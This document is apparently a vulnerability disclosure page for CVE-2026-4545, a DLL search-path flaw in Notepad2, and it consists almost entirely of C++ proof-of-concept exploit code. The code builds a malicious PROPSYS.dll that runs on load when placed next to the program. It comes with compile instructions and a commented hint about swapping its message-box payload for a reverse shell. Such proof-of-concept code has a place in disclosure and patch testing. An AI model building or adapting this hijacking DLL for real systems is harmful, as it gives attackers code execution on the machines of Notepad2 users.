CVE-2026-4545 Notepad2 非受控搜索路径漏洞

/** * PoC for CVE-2026-4545 - Uncontrolled Search Path in Notepad2 * This code demonstrates how to create a malicious PROPSYS.dll * to be loaded by Notepad2 when placed in the same directory. * * Compilation (Visual Studio Developer Command Prompt): * cl /LD malicious_propsys.cpp user32.lib */ #include <windows.h> // Entry point for the DLL BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // This code runs when the DLL is loaded into the process MessageBoxA(NULL, "CVE-2026-4545 PoC: Malicious PROPSYS.dll loaded successfully!", "Exploit", MB_OK | MB_ICONINFORMATION); // Example: Start a calculator or reverse shell // WinExec("calc.exe", SW_SHOW); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } // Export dummy functions to match expected DLL structure if necessary extern "C" __declspec(dllexport) void DummyFunction() {}